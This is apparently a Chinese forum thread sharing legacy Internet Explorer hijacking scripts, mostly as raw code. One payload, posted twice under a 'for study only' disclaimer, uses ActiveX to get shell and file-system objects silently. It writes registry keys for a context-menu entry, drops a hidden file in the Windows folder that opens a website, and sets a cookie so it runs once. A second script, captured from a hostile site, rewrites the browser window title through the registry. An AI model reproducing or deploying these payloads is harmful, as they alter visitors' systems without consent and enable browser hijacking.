例子:
紧供学习参考!请勿用与非道德行为!<HTML><HEAD><TITLE>test</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (document.cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★更多全新内容★ ->相识在缘分天空\\", "c:\\windows\\lotsky.htm");
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★更多全新内容★ ->相识在缘分天空\\contexts", 0xf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\windows\\lotsky.htm");
hd.write('<html><head></head><\script language=javascript>window.open("http://www.21cnsky.com/");<\/script></html>');
hd.close();
file=fo.GetFile("c:\\windows\\lotsky.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}function init()
{
setTimeout("f()", 1000);
}
init();
</SCRIPT>
</BODY></HTML>
紧供学习参考!请勿用与非道德行为!<HTML><HEAD><TITLE>test</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (document.cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★更多全新内容★ ->相识在缘分天空\\", "c:\\windows\\lotsky.htm");
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★更多全新内容★ ->相识在缘分天空\\contexts", 0xf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\windows\\lotsky.htm");
hd.write('<html><head></head><\script language=javascript>window.open("http://www.21cnsky.com/");<\/script></html>');
hd.close();
file=fo.GetFile("c:\\windows\\lotsky.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}function init()
{
setTimeout("f()", 1000);
}
init();
</SCRIPT>
</BODY></HTML>
我运行了没反映吗
而且好象有错,因为我本身装了jre的,他报告有错,请再看看
csdn 前段时间网上有不少的“烂站”,用JavaScript 将咱们的IE标题改得面目全非,要不是看到最进国际上人道主义呼声号召的份上,真想回头黑了那该死的烂站,现将其代码抓了下来供大家参考
<SCRIPT Language="JavaScript" type="text/javascript">
<!--
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "该死的烂 站");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "该死的烂 站");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init(); // -->
</SCRIPT>(
另外,记得类型要匹配String REG_SZ
String REG_EXPAND_SZ
Integer REG_DWORD
Integer REG_BINARY